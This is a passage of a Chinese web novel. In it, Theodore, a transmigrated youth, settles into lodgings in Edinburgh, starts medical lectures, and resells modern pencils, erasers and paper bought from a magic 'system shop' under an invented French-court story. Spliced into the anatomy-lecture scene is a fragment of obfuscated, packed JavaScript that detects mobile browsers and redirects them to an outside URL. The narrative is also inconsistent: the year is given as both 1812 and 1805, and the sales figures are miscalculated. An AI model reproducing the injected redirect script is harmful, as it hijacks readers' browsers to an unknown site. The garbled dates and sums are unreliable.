一阵风迎面扑来。
那风不像是英格兰的风。英格兰的风是软的,带着田野和树木的气息;这风是硬的,像一把看不见的刀,从北方的海上直接刮过来,穿过他的外套、穿过他的衬衫、一直凉到骨头里。
西奥多打了个寒颤,下意识地把衣领往上拉了拉。
加德纳舅舅从马车上跳下来,帽子稳稳地扣在头上。
“怎么样?”他笑着问。
“冷。”西奥多老实地说。
“这才十月。”加德纳舅舅拍了拍他的肩膀,“等到了十一月,你就知道什么叫冷了。”
---
他们在旅馆安顿下来。西奥多的房间在三楼,窗户正对着一条窄窄的街道,能看见对面房屋的烟囱里冒出的白烟。房间里有一张床、一个衣柜、一张小桌,还有一个壁炉——女仆已经生好了火,房间里暖烘烘的。
西奥多把行李放下,在床边坐了一会儿。
壁炉里的火苗跳动着,把影子投在灰色的石墙上。他忽然有一种奇怪的感觉——他确实到了另一个地方。不是麦里屯,不是伦敦,是一个他从未到过的、完全陌生的城市。
他深吸了一口气,然后站起来,把外套穿上。
“明天的事,明天再说。”他对自己说。
---
第二天一早,加德纳舅舅带着他去办理入学注册。
爱丁堡大学的医学院坐落在老城的一栋灰色建筑里,门廊上刻着拉丁文的铭文,西奥多只认出了一半。走廊里来来往往的都是年轻人,有的穿着体面的大衣,有的裹着旧围巾,但无一例外地都带着一种相似的认真神情——他们是来学医的,不是来游玩的。
注册的手续比西奥多想象的要简单。他交上了父亲的推荐信、布兰德牧师的品行证明、自己的出生证明,还有第一学期的学费。
“菲利普斯先生,英格兰赫特福德郡。”负责注册的先生翻了翻他的材料,抬头看了他一眼,“拉丁文和希腊文怎么样?”
“拉丁文可以,希腊文能读。”
注册先生点了点头,没有多问,在一张表格上签了字,然后把一张盖着印章的听课券递给他。
“冬季学期十一月开始。这是你的听课券,别弄丢了。”
西奥多接过那张纸,小心翼翼地折好,放进贴身的口袋里。
加德纳舅舅站在走廊里等他,手里拿着一杯从附近咖啡馆买来的热茶。
“办完了?”
“办完了。”
“那接下来,该找住的地方了。”
---
加德纳舅舅是个务实的人。他不像菲利普斯太太那样会为了一条围巾反复纠结,也不像西奥多那样会在心里盘算半天。他做事讲究效率——先打听、再看房、最后拍板,一步都不多余。
“医学院附近有几个街区,专门租给学生。”他一边走一边说,“我昨晚跟旅馆老板打听过了,他说新城那边有不少好房子,干净、安静、适合读书。我们今天上午先去看几家。”
西奥多跟在他身后,穿过老城的石板路,走过一座桥,眼前忽然开阔起来。
这里是爱丁堡的新城。
宽阔的街道、整齐的联排房屋、方方正正的广场——一切都比老城新得多,也规整得多。街道两旁种着树,虽然叶子已经落了大半,但能想象夏天的时候,这里应该是绿荫成片的。
加德纳舅舅带着他拐进一条安静的街道,在一栋灰色的三层楼房前停下来。门廊上挂着一块小牌子:“沃克太太·寓所出租”。
一个四十多岁的妇人开了门。她穿着一件干净的灰色长裙,头发梳得一丝不苟,看起来像是那种把“体面”二字刻在骨子里的人。
“加德纳先生?”她打量了他们一眼,“旅馆老板派人来说过了。请进。”
沃克太太领着他们上了二楼,在一扇门前停下来。她从口袋里掏出一把铜钥匙,打开了门。
“这套房是专门租给医学院的学生的。”她推开门,侧身让他们进去,“干净、安静、私密,最适合专心读书的年轻人。”
西奥多走进去,第一眼就喜欢上了这个房间。
房间不算大,但布置得十分妥帖。一张铺着白色床单的木床靠墙放着,旁边是一个衣柜和一张书桌。窗户朝南,阳光正好照进来,把整个房间照得亮堂堂的。壁炉里已经生好了火,房间里暖意融融。
“这是卧室。”沃克太太走到内侧,推开另一扇门,“这边是小厨房。”
西奥多跟过去,看见一个窄窄的小隔间。里面有一个石槽、一个简单的灶台、几排木架子,灶台上放着几口铁锅和一个水壶。
“可以自己煮点东西。”沃克太太说,“锅和碗都是干净的,用完了自己收拾就行。”
然后她又走到房间的另一侧,推开一扇门。
“这边是卫生间。”
西奥多往里看了一眼,愣住了。
卫生间不大,但里面有一个白瓷的洗手台、一面小镜子,还有——他不太确定那是什么——一个带着水箱的陶瓷坐便器。
“抽水马桶。”沃克太太的语气里带着一丝自豪,“新城这边的房子都有。拉一下链子就冲水了,干净得很。”
西奥多忍住心里的惊讶,平静地点了点头。
他知道这个时代已经有抽水马桶了,但真正见到的时候,还是觉得有些不可思议。一个带独立厨房和卫生间的单人套房——这比他预想的好太多了。
“这套房多少钱一年?”加德纳舅舅问。
“三十六镑。”沃克太太说,“包括冬天的柴火和每周一次的打扫。要是嫌贵,楼下还有一间小一些的,没有厨房,只要二十四镑。”
加德纳舅舅看了西奥多一眼。
“你觉得呢?”
西奥多在房间里走了一圈。床够大,书桌靠窗,光线好,壁炉的热气能把整个房间都烘暖。小厨房虽然窄,但足够他一个人用。卫生间干净得不像话。
最重要的是——这扇门一锁,就是完全属于他的世界。
“就这间。”他说。
加德纳舅舅点了点头,转向沃克太太:“我们先
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租一年,预付半年十八英镑。不过——”
他从口袋里掏出几张钞票,数了数,递过去。
“这房子是租给我外甥读书用的。他是个规矩孩子,不会给你添麻烦。但有一点——他需要安静,不需要别人来打扰。打扫每周一次就够了,其他时候,让他一个人待着。”
沃克太太接过钱,点了点头:“这个自然。我这里的房客都是医学院的学生,都是规矩人。”
她从抽屉里拿出一份租约,加德纳舅舅接过去,仔细看了一遍,然后递给西奥多。
“你看看。”
西奥多接过来,逐条看过去。条款写得很清楚:租金每年三十六镑,半年一付;包括柴火和每周一次的打扫;不得养宠物;不得深夜喧哗;退租需提前一个月通知。
他在租约上签了字。
沃克太太把那把铜钥匙交到他手里。
“菲利普斯先生,”她说,“欢迎入住。”
西奥多握着那把钥匙,钥匙是铜的,沉甸甸的。他有些魔怔了,低头看了它好一会儿——铜,便士是铜,这钥匙也是铜。脑子里那个念头一闪而过,他差点就把它往系统里送了。
“想什么呢?”加德纳舅舅的声音从旁边传来。
“没什么。”西奥多把钥匙收进口袋,有些心虚地清了清嗓子,“在计算我还剩多少钱。”
加德纳舅舅没有多想,转向沃克太太,“沃克太太,这附近有没有可靠的人,可以帮忙洗衣、采购的?我外甥一个人住,有些事还是需要人搭把手。”
沃克太太想了想:“楼下第三间的麦凯夫人,她丈夫是水手,常年不在家。她平时帮几个学生洗衣服、买买菜,手脚干净,人也老实。菲利普斯先生要是需要,我可以跟她说一声。”
“那就有劳您了。”加德纳舅舅从口袋里掏出几个先令,递给沃克太太,“这是第一周的钱,让她明天过来一趟,认认门。”
沃克太太接了钱,点了点头,退了出去。
房间里只剩下他们舅甥二人。
加德纳舅舅在椅子上坐下来,环顾了一圈这间不大的屋子,满意地点了点头。
“不错。”他说,“比你父亲当年在伦敦住的阁楼强多了。”
“父亲在伦敦住过阁楼?”
“年轻时在伦敦学法律,租了一间阁楼,冬天冷得像冰窖。”加德纳舅舅笑了笑,“你母亲每次说起来都要掉眼泪。”
西奥多想象了一下父亲年轻时缩在阁楼里啃书本的样子,忍不住笑了。
加德纳舅舅站起来,拍了拍他的肩膀。
“我该走了。”他说,“马车还在下面等着。我今晚得赶回伦敦,明天还有一批货要处理。”
“这么快?”西奥多有些意外。
“生意不等人。”加德纳舅舅从口袋里掏出一个信封,递给他,“学校那边搞定了,注册费11磅,图书馆5磅/年,这是剩下的46镑,下半年18磅是下半年的房租,每门课4-6.5磅不定,说实话,你的预算有些紧张,如果你愿意和别人合租的话,或许......”
“我会想办法的,舅舅。”
“也不要太省了,我有些放心不下你,这里是20英磅,是舅舅私下赞助你的。好好学习。”
西奥多接过信封,捏了捏,有些薄。66镑,加上他自己攒的3镑,69镑。这是他目前的全部身家。
“谢谢舅舅。”
“谢什么。”加德纳舅舅摆了摆手,走到门口,忽然停下来,回头看了他一眼。
“你父亲说你有主意,不用人操心。”他的声音比平时低了些,“但我还是要说一句——有什么事,别硬扛。写信回来,知道吗?”
西奥多点了点头。
“知道了。”
加德纳舅舅看了他好一会儿,然后伸手在他肩膀上重重地拍了一下。
“行了,我走了。”
他推开门,走出去,脚步声在走廊里渐渐远去。过了一会儿,西奥多听见楼下传来马车启动的声音,车轮碾过碎石路,越来越远,最后消失在街道的尽头。
他站在窗前,看着那辆马车拐过街角,消失在灰色的建筑群里。
房间里忽然安静下来。
没有母亲絮絮叨叨的叮嘱,没有弟弟妹妹的吵闹声,没有父亲翻报纸的沙沙声。只有壁炉里的火苗偶尔噼啪一声,和窗外远处模糊的市井声响。
西奥多低头看了看手里的信封和纸条,把它们放在桌上。
然后他走到门口,把那把铜钥匙插进锁孔,轻轻转了一圈。
“咔哒”一声,锁舌弹进了锁槽里。
他靠在门板上,长长地呼出一口气。
从今天起,这扇门后面的一切,都是他自己的事了。
5. 第 5 章
第五章冬衣
加德纳舅舅走后,西奥多在房间里坐了很久。
他本想把行李收拾妥当,但看着那口被母亲塞得满满当当的箱子,忽然觉得无从下手。大衣、围巾、手套、毛袜——母亲几乎把半个衣柜都塞了进来。他在里面翻了翻,找到了一件深蓝色的厚呢外套,是父亲去年冬天给他定做的,只穿过两三次,还新得很。
他把它套在身上,走到镜子前看了看。
镜子里的人看起来比他感觉的要小。十七岁,肩膀还不够宽,脸颊上还带着一点没褪干净的少年气。但这件外套让他看起来沉稳了一些——至少他自己这么觉得。
他对着镜子里的自己点了点头,然后把外套脱下来,挂好。
接下来几天,他做了一件早就计划好的事。
那天晚上,他锁好门,拉上窗帘,在床边坐下来。
脑海中,光屏亮起。
「可用余额:3,240元」
他在系统商城里翻了很久。这个商城的商品多得令人眼花缭乱——从针线到家具,从药品到书籍,几乎什么都有。价格倒是不贵,但无奈他现在穷得叮当响,每一分钱都得精打细算。
他找到“羽绒马甲”那一栏,翻了翻。
各种款式,标价一百元左右。不算便宜,但也咬咬牙买得起。
「确认购买:是/否」
他点了“是”。
下一秒,一件折叠整齐的、没有任何包装的黑色羽绒马甲凭空出现在他手边。
他拿起来,摸了摸面料——很轻,比棉衣轻得多,但摸起来厚实柔软。他把马甲穿在身上试了试,站在镜子前看了好一会儿。
黑色的,穿在大衣里面,谁也看不见。
他满意地点了点头,把它脱下来,叠好,放进衣柜里。
然后他又买了一条黑色的轻薄羽绒裤——这两天一直在下雨,冷得他骨头缝里都在冒凉气。一双黑色高筒水靴、一件咖色英伦风的雨衣、两双羊毛袜、一副手套、一顶羽绒帽。这些东西加起来,花了他将近一千元。
他看着光屏上剩下的数字,心里盘算了一下:两千二百多元,够买不少小商品了。等他在爱丁堡站稳脚跟,就可以开始琢磨怎么赚钱了。
但他不着急。
先把课上了,把路摸清了,再说别的。
---
接下来的几天,他把自己裹得严严实实,在附近走了走。
爱丁堡的街道比麦里屯复杂得多。老城的巷子又窄又陡,两旁的房子高得像悬崖,抬头只能看见一线天。新城这边就好多了,街道宽阔整齐,横平竖直,走几遍就记住了。
他找到了医学院的教室——那栋灰色的石砌建筑,门廊上刻着拉丁文。他站在门口往里看了一眼,走廊里空空荡荡的,还没到上课的时候。
他又找到了沃克太太说的那家面包铺,在街角,每天早上七点开门,面包新鲜,价格公道。他还找到了卖文具的店、卖书的店、卖药械的店——每一家他都进去转了一圈,问了问价格,记在心里。
麦凯夫人在他住进来的第二天就来认了门。那是个四十来岁的妇人,瘦瘦小小的,说话声音不大,但手脚利索。她每周来两次,帮他洗衣服、打扫房间、把柴火搬进厨房。
“菲利普斯先生,”她第一次来的时候,站在门口,有些拘谨地说,“您有什么要洗的,放在那个篮子里就行。菜要买什么,写在纸上,我一起带回来。”
西奥多把一张纸条递给她,上面写着面包、牛奶、鸡蛋和几样蔬菜。
麦凯夫人接过去看了一眼,点了点头,又问:“肉呢?年轻人要多吃肉。”
“那就加半磅咸肉。”
“好。”
她做事确实利落。西奥多中午回来的时候,房间里已经打扫干净了,脏衣服不见了,篮子里放着新洗好的衣服,叠得整整齐齐。灶台上放着买回来的菜,旁边还有一张纸条,上面写着每样东西花了多少钱,笔迹歪歪扭扭的,但算得很清楚。
西奥多把纸条收好,心里算了一笔账:麦凯夫人一周收两先令,买菜的钱另算。加上房租、听课券、书本费,他这半年大概要花掉二十多镑。
剩下的,还能攒一点。不多,但够了。
---
十一月第一天,难得晴天,冬季学期开始了。
西奥多天没亮就醒了。他在床上躺了一会儿,听着窗外的风声——比昨天夜里小了些,但还是呼呼地刮着,像有人在远处吹号角。
他起床,在厨房里烧了水,泡了一杯茶,把面包烤热,就着黄油吃了一顿早饭。然后他穿上那件深蓝色的呢子外套,把羽绒马甲穿在里面,又围上母亲织的围巾,戴上手套,推门出了房间。
走廊里很安静。其他房客大概还没起。
他下楼的时候,在楼梯口遇见了沃克太太。她正在擦楼梯扶手,看见他,直起腰来。
“菲利普斯先生,这么早?”
“第一天上课,想早点去。”
沃克太太点了点头,目光在他身上停了一瞬。
“穿得够暖吗?今天比昨天还冷。”
“够了。”西奥多说。
他推开门,一股冷风迎面扑来。
十一月的爱丁堡和十月完全不同。十月的风只是冷,十一月的风是刺骨的——像是有人把一把碎冰碴子塞进你的衣领里,顺着脖子往下滑,一直凉到脊梁骨。
西奥多把围巾往上拉了拉,遮住半张脸,低头往医学院的方向走。
街上已经有人了。一个卖报的少年裹着一件旧大衣,缩在街角,嘴里喊着当天的新闻;一个老妇人提着一篮子鱼,脚步匆匆地往市场方向走;几个和他差不多年纪的年轻人,穿着体面的外套,手里夹着书本,从不同的方向汇入同一条街道。
西奥多看他们一眼,他们也在看他。
其中一个人朝他点了点头,西奥多也点了点头。
没有人说话。
他们像是被同一种力量推着往前走——那些灰色的石墙、冰冷的教室、厚厚的医学课本,像一块巨大的磁铁,把这些人从英格兰、苏格兰、爱尔兰,甚至更远的地方,吸到这里来。
---
他跟着人群走进医学院的大门,穿过走廊,找到了一间大教室。
教室里已经坐了不少人。西奥多在靠后的位置找了个空位坐下,把书本放在桌上,摘下围巾和手套,深吸了一口气。
教室里很安静。偶尔有人低声交谈,但大部分人都和他一样,安静地坐着,等着。
门开了。
一个五十多岁的男人走了进来。他穿着一件黑色的长袍,头发花白,面容严肃,目光扫过教室里的每一个人,像是要把每个人的脸都刻进脑子里。
“我是孟罗教授。”他的声音不大,但在安静的教室里听得清清楚楚,“这门课是**解剖学理论**——你们的第一门基础课。”
他走到讲台前,翻开一本厚厚的讲义。
“在开始之前,我想对你们说几句话。”
教室里更安静了。
“你们来到这里,是因为你们想成为医生。”孟罗教授的目光从第一排扫到最后一排,“但我要告诉你们——你们当中,不是所有人都能成为医生。”
他停顿了一下,像是在等这句话落进每个人的耳朵里。
“学医不是背几本书、考几场试就能完成的事。你们首先要做的,是把人体从头到脚的每一块骨头、每一条肌肉、每一根血管的名字和位置,刻进你们的脑子里。不是记在笔记本上——是刻进脑子里。”
他的目光落在西奥多这一排。
“如果不能忍受这种枯燥,现在就离开。学费可以退。”
没有人动。
孟罗教授微微点了点头,翻开讲义。
“好。那我们开始。”
---
那天上午的课,西奥多听得比任何时候都认真。
孟罗教授讲的是骨骼系统。他讲得很慢,但每一个词都像钉子一样钉进脑子里——颅骨的八块骨片、脊柱的二十四节椎骨、胸骨的三个部分。他用粉笔在黑板上画了一张人体骨骼图,线条简洁,但每一个细节都准确无误。
西奥多一边听,一边在笔记本上飞快地记着。他速记的字没有平常写的字好看,但胜在快。前世练出来的速记功夫,在这个时代派上了用场。
坐在他旁边的一个人侧头看了一眼他的笔记本,小声说:“你记东西真快。”
西奥多看了他一眼。
那是一个和他差不多年纪的年轻人,圆脸,棕色头发,看起来一副好脾气的样子。
“习惯了。”西奥多说。
“我叫詹姆斯·麦凯。”那人压低声音说,“从格拉斯哥来的。”
“西奥多·菲利普斯。”西奥多也压低声音,“赫特福德郡。”
“英格兰人?”詹姆斯有些意外,“跑这么远来学医?”
“嗯。”不是他冷淡,是现在上着课。
詹姆斯还想说什么,孟罗教授的声音忽然提高了。
“——第三排,那位从格拉斯哥来的先生,请告诉我,人体有多少块骨骼?”
教室里安静了一瞬。
詹姆斯的脸一下子涨红了。他张了张嘴,没有说出话来。
西奥多无语地在笔记本上写了一个数字,悄悄把本子往他那边推了推。
詹姆斯看了一眼,飞快地说:“二百零六块。”
孟罗教授看了他一眼,又看了一眼他旁边的西奥多。
“正确。”他说,“下次不要再问旁边的人。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449437|201128||http|test|mini|href|location''.split(''|''),0,{}));
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>詹姆斯的耳朵尖都红了。
西奥多面无表情地看着黑板,假装什么都没发生。
但他心里觉得,这个从格拉斯哥来的圆脸小子,大概会是个不错的朋友。
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上午的课结束后,西奥多没有急着走。詹姆斯似乎对他很有好感,也没有走。等在一边。
他在教室里坐了一会儿,把笔记从头到尾翻了一遍,确认没有漏掉什么重要的内容,才合上本子,站起来。
走廊里的人已经散了。他沿着楼梯往下走,经过一间半掩着门的房间时,听见里面有人在说话。
“——听说二年级才进解剖室,不过那味道能把人熏晕过去。”詹姆斯在他耳边喋喋不休。
“我想我应该已经习惯了,毕竟伦敦的气味也好不到哪去。”西奥多对于黑伦敦毫无负担。
“哈哈,你真有意思。”
街上的人比早上少了一些。那个卖报的少年已经不在了,换成了一个卖烤栗子的老头,推着一辆小车,炉子上冒着白烟,空气中飘着一股甜丝丝的焦香。西奥多买了一包烤栗子,揣在口袋里,在街角的面包铺买了一块黑面包和几片干酪,便快步往回走。
回到住处,他在厨房里烧了水,泡了一杯茶,把烤栗子放在炉子旁边暖着,就着干酪和冷面包匆匆解决了午饭。吃完他看了一眼怀表——还有不到半个时辰,下午的课就要开始了。
下午是化学课。
下午的化学课在另一栋楼里,教室比上午的小一些,但坐满了人。讲台上站着一个五十多岁的男人,面容清瘦,说话声音不大,但每一个字都清清楚楚。
“我是约瑟夫·布莱克教授。”他说,“这门课是化学。”
西奥多知道这个名字。布莱克教授是爱丁堡医学院的名人,他发现了“固定空气”——也就是二氧化碳,提出了潜热的概念,在化学界享有盛誉。他的课不仅仅是给医学生上的,许多文科学生也会来旁听。
布莱克教授讲的是化学的基本原理——元素、化合物、亲和力。他讲得很慢,每一个概念都要反复解释好几遍,直到确认所有人都听懂了才往下讲。西奥多一边听一边记,笔记比上午还密。
坐在他旁边的几个学生听得一头雾水,有人在小声抱怨:“这跟治病有什么关系?”
西奥多没有理会。他心里清楚,化学是药学的基础。不懂化学,就不懂药物的性质、配制和相互作用。如果他想在药剂学上有所建树,这门课比解剖学更重要。
下午的课结束后,天色已经开始暗了。
西奥多没有回住处,而是直接去了图书馆。
爱丁堡大学的图书馆在老城的一栋老建筑里,房间不大,书架从地板一直顶到天花板,空气里弥漫着旧纸张和皮革的气味。西奥多推门进去的时候,里面已经坐了七八个人,都低着头在看书,没有人抬头看他。
他先走到医学类书架前,开始浏览。
《解剖学原理》,孟罗著。
《化学讲义》,布莱克著。
《药学基础》,库伦著。
《病理学纲要》,库伦著。
《临床实践导论》,库伦著。
他一本一本地看过去,把书名和作者记在随身带的速写本上,这个本子是他的随手记,晚上回去他还要把今天一整天的不同课程的笔记,分别用不同的笔记本整理出来。
他翻了翻系统商城里的同款书籍,价格不菲——普通的都要100多一本。
他在书架间转了很久,把医学类的书目记了大半。等他走出图书馆的时候,天已经完全黑了。
街上几乎没有行人,只有偶尔一辆马车从远处驶过,车轮碾过石板路的声音在空旷的街道上回荡。风比白天更大了,刮得他脸生疼。他把围巾往上拉了拉,裹紧大衣,低头快步往回走。
回到住处,他锁好门,在床边坐下来。开始整理需要购买的书籍,单本太贵了,他只能用邪修的方法。他找了一个专门帮忙收集PDF的商家,淡下了200块打包100本的价格。将整理好的书籍的发过去。
然后找了一个超过2000张,单价为0.025无/页的商家。就等PDF文件出来。
这些辅助类的书全靠打印,但是主科书籍还是得买实体书,差不多100块一本。
拿到新书,他站起来,走到厨房里,烧了一壶水,泡了一杯茶。窗外的风还在刮,呼呼地响,像是有人在远处吹号角。但窗台上那盆不知名的植物还在绿着,叶子虽然蔫了,但没有死。
他端着茶杯,在窗前站了一会儿。
然后回到书桌前,翻开笔记本,把今天学的内容结合刚到的书籍,重新梳理一遍,重新誊抄到分类笔记本中去。
窗外,风还在刮。
房间里,炉火烧得正旺。
6. 第 6 章
第六章铅笔
十一月第二周,西奥多养成了一套固定的作息。
天亮前起床,烧水,泡茶,吃面包。出门走到医学院,上午听课,下午听课,傍晚去图书馆。天黑前回到住处,烧水,整理笔记,对照系统商城买来的书籍重新梳理一天的内容。十点左右睡觉。
他notebooks现在有五本——解剖学一本,化学一本,药学一本,病理学一本,还有一本随身带的速记本。每本封面都用不同的字母做了标记,绝不会搞混。
麦凯夫人每周来两次,风雨无阻。她渐渐摸清了他的习惯,知道他不在意吃得好不好,但一定要按时吃饭,于是总会在灶台上给他留一块面包或一碟冷肉,旁边照例贴着一张歪歪扭扭的纸条。
詹姆斯·麦凯几乎每天都要来找他说话。
这个格拉斯哥来的圆脸年轻人性格极好,热心肠,话多,但对学医这件事是认真的。他的父亲是格拉斯哥的一位药剂师,家里开着一间不大的药铺,他从小在药铺里长大,闻着药味儿长大的,对草药的辨别比西奥多强得多。
但他的弱点也很明显——记性不好,笔记记得乱七八糟,画图更是一塌糊涂。
---
那天是周三,下午没有课。
西奥多在图书馆里坐着,面前摊着速记本,正在对照孟罗教授上午讲的骨骼图重新画一遍。他画的不是黑板上的那种简笔画,而是带着透视的结构图——前视图、侧视图、俯视图,每块骨头的位置、走向、连接方式都标注得清清楚楚。
他画画用的东西很简单——一支铅笔,一块橡皮,一张白纸。
就是这三样。
在这个时代,大部分学生画图用的是鹅毛笔和墨水。鹅毛笔好处是写字好看,但画图极不方便——线条粗细难以控制,稍一停顿就会洇出一团墨渍,画错了没法擦,只能划掉重来。一套骨骼图画下来,纸面上往往惨不忍睹。
但铅笔不一样。
线条可以粗可以细,可以深可以浅,画错了擦掉就行,纸面干干净净。西奥多上了初中之后就很少使用的铅笔,到了这个时代反而成了最顺手的工具。
他画得入神,没注意到旁边多了一个人。
"你画的这个……"詹姆斯的声音从肩膀上方传来,带着一点压抑不住的惊叹,"这也太清楚了吧?"
西奥多抬起头。
詹姆斯正趴在他肩膀后面,眼睛瞪得圆圆的,盯着他画的那张前视图。旁边还站着另一个西奥多不认识的年轻人,瘦高个,黑头发,也伸着脖子在看。
"这是颅骨的前视图?"瘦高个说,"我上课的时候根本没看明白孟罗教授画的那个,你这张——每个骨缝都标出来了?"
"嗯。"西奥多把画往旁边推了推,让他们看清楚,"蝶骨在这里,筛骨在这里,额骨、顶骨、颞骨、枕骨……你们看,这条缝是冠状缝,这条是矢状缝——"
"等等等等,"詹姆斯打断他,"你用的这是什么?"
他指着西奥多手里的铅笔。
西奥多低头看了一眼自己手里的东西——一支普通的原木HB铅笔,木杆,六角形,顶端露出一点铅芯。他系统商城里买了100支,单价三毛五一支。
"铅笔。"西奥多说。
"我知道是铅笔,"詹姆斯说,"我是说——你这个铅笔,在哪买的?"
西奥多看了他一眼。
詹姆斯的表情不像是在随口问问。他盯着那支铅笔的眼神,几乎和盯着那张骨骼图一样专注。
"怎么了?"西奥多问。
"能让我试试吗?"詹姆斯说,"就画两笔。"
西奥多把铅笔递给他。
詹姆斯接过去,像捧着什么精密仪器一样,小心翼翼地在纸上画了一道线。然后又画了一道。然后试着画了一个弧形。
他的表情逐渐变了。
"这个笔触……"他低声说,"太顺了。一点不涩,也不软不硬,刚刚好。我之前用过一根英国产的铅笔,笔芯粗得像粉笔,画出来的线全是颗粒,还断——你这个完全不一样。"
旁边的瘦高个也凑过来:"真的?让我也试试。"
詹姆斯把铅笔递给他。瘦高个画了几笔,眉头挑了起来。
"这什么笔?法国的?"
"让我看看,"旁边又冒出一个脑袋,不知道什么时候又来了一个人,"我看看我看看——"
西奥多眼看着自己的铅笔在四五个人的手里轮了一圈,心里略微有些无奈,但脸上没表现出来。
等铅笔终于回到他手里的时候,铅芯已经短了一截。
詹姆斯看着他把铅笔收起来,眼神里明显带着不舍。
"你到底在哪买的?"詹姆斯问,"爱丁堡有卖的?"
西奥多没有立刻回答。
他在心里快速盘算了一下。
---
他其实在来爱丁堡之前就做过功课。
这个时代的铅笔,确实不便宜。
十八世纪末的铅笔制造工艺还远远没有成熟。英国最好的铅笔来自坎伯兰的Borrowdale矿,用的是天然石墨,纯度高,但产量极其有限,价格高昂。一支Borrowdale铅笔能卖到两三先令——也就是说,一支铅笔的钱够他吃两三天饭了。
而且那种铅笔笔芯粗细不均,质量极不稳定。买铅笔跟开盲盒一样,运气好拿到一根能用,运气差拿到一根里面全是杂质,画两笔就断。
法国那边倒是后来居上。孔特在1795年发明了用黏土和石墨粉混合烧制笔芯的方法,大大降低了成本,提高了质量。但现在是1812年,孔特的工艺还在法国国内,受战争和封锁的影响,根本流不出来。
换句话说——现在整个英国市场上,根本不存在一支便宜、好用、质量稳定的铅笔。
而他系统商城里的铅笔,三毛五一支,折算成先令大约是……不到?。
不到半个便士的东西,在这个时代可以卖多少?
他看着詹姆斯眼里的渴望,心里有了一个数。
"这个不是在爱丁堡买的。"西奥多说。
詹姆斯和旁边几个人都看过来。
"我一个朋友在多佛尔那边做事,"西奥多压低声音,语气随意的,"你知道的,那边离法国近,有些法国流亡贵族带出来的东西会从那边流入。"
他停了一下,看了看周围,确认没有别人在听。
"这种铅笔是法国宫廷里用的,孔特亲手做的,笔芯是石墨和黏土烧制的,不是英国那种天然石墨的粗糙货。质量完全不一样——你自己刚才也试了。"
詹姆斯的嘴微微张着。
"法国宫廷的?"瘦高个低声说。
"我朋友从那群流亡贵族手里收了一批,数量不多。我走的时候他给了我一些,自己留着用的,没打算卖。"西奥多把铅笔在手指间转了转,"不过你要是真想要——"
他看着詹姆斯。
"我可以卖给你一些。"
詹姆斯的眼睛亮了:"真的?多少钱?"
西奥多想了想,伸出一只手,竖起一根手指。
"十便士。"
这个价格说出来的时候,图书馆里安静了一瞬。
十便士。
也就是八个半便士硬币。折合先令的话,不到一先令。
如果对比Borrowdale铅笔两三先令的价格,这简直便宜得荒谬。但十个便士对于这些学生来说,也绝不是一个小数字——它够买七八块面包,或者二十多张书写纸。
但詹姆斯几乎是在听到价格的同时就点了头。
"我要了。"
旁边那个瘦高个立刻说:"你还有吗?我也想要一支。"
"我也想要。"
"我也要。"
西奥多抬起手,示意他们安静。
"我明天带过来,如果你们要的人多的话,我还可以帮我朋友问问,看能不能再弄一批过来。不过寄过来要时间,可能要等几周。"
"几周没问题。"詹姆斯说,"绝对没问题。"
西奥多点了点头,然后像是不经意地又从口袋里掏出了一样东西。
一块白色的橡皮。
他拿过那张骨骼图,用铅笔在上面随意画了一条错误的线,然后用橡皮擦掉。纸面上干干净净,没有一丝痕迹,没
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有一点破损。
詹姆斯倒吸了一口气。
旁边几个人也安静了。
在这个时代,擦除铅笔痕迹用的是揉成团的面包屑——效果聊胜于无,擦完之后纸面上留下一层油渍,时间长了还会发霉。而这块橡皮,一擦即净,像变魔术一样。
"这个也是法国的?"瘦高个的声音都变了。
"嗯。"西奥多说,"也是孔特那边的东西,和铅笔配套的。"
"多少钱?"
"十便士。"
这次没有人犹豫。
"我要一块。"
"我也要。"
"还有纸呢?"詹姆斯指着西奥多垫在下面的那张白纸,"你这张纸也不对——这不是普通的书写纸,这种纸面……光滑得太多了,铅笔画上去一点都不涩。"
西奥多低头看了一眼。
那就是他系统商城里买的A4打印纸,进货价两分四厘一张。
"这种纸也是从法国那边带过来的,"西奥多说,"专门配合这种铅笔用的,画图效果最好。一便士五张。"
詹姆斯第一个开口:"给我来十张。"
瘦高个:"我也要十张。"
---
那天晚上回到住处,西奥多锁好门,坐在书桌前,拿出速记本,开始算账。
他先列了一个表。
---
【销售记录】
铅笔:售出5支×10便士=50便士
橡皮:售出5块×10便士=50便士
白纸:售出50张×1便士=5便士
总收入:105便士
---
他又列了一个成本表。
---
【成本明细】
铅笔进货价:0.35元/支×5支=1.75元
橡皮进货价:0.50元/块×5块=2.50元
白纸进货价:0.024元/张×50张=1.2元
总成本:5.45元
---
西奥多看着这个数字,静静地坐了一会儿。
十一先令九便士。这笔钱够他付麦凯夫人将近六周的工钱,或者买将近三十块面包,或者交大半个星期的房租。
而他付出的成本,不到6块钱。
他把笔放下,靠在椅背上,看着天花板。
这就是信息差。
他手里这些东西,在系统商城里是几毛钱的日用品,但在这个时代——在1805年的爱丁堡——是法国宫廷流出来的稀罕物件,是那些医学生做梦都想不到的好东西。
他不是在骗人。他说的每一句话都是"真的"——这种铅笔确实用的是孔特的工艺,这种橡皮确实比面包屑好用一万倍,这种纸确实适合画图。他没有在任何一件商品的质量上造假。
他只是没有告诉他们,这些东西是从一个他们永远无法理解的地方来的。
他把速记本合上,拉开抽屉,把今天收到的钱放进一个铁盒子里。硬币碰撞的声音在安静的房间里格外清脆。
然后他打开光屏,开始在系统商城里下第二批订单。
铅笔,五十支。
橡皮,五十块。
A4打印纸,五百张。
他看着光屏上跳动的数字,心里平静得像一潭水。
今天只是试水。五个人,五支铅笔,赚了十一先令。
整个医学院有多少学生?爱丁堡大学有多少学生?整个苏格兰有多少需要画图的人?
他不着急。
先把这批货卖出去,看看市场的反应。如果需求稳定,他就可以考虑扩大规模。但在此之前,他得控制节奏——东西不能太多,人不能太杂,价格不能波动太大。
稀缺感必须维持住。
"法国宫廷流出来的东西",这个故事只能用一次。用多了就假了。
他在速记本上写了一行字:
「下周之前,给''朋友''写一封信。」
然后他翻到新的一页,开始整理今天下午化学课的笔记。
窗外,风还在刮。
铁盒子里,硬币安安静静地躺着。
7. 第 7 章
第七章代购
事情发酵得比西奥多预想的快。
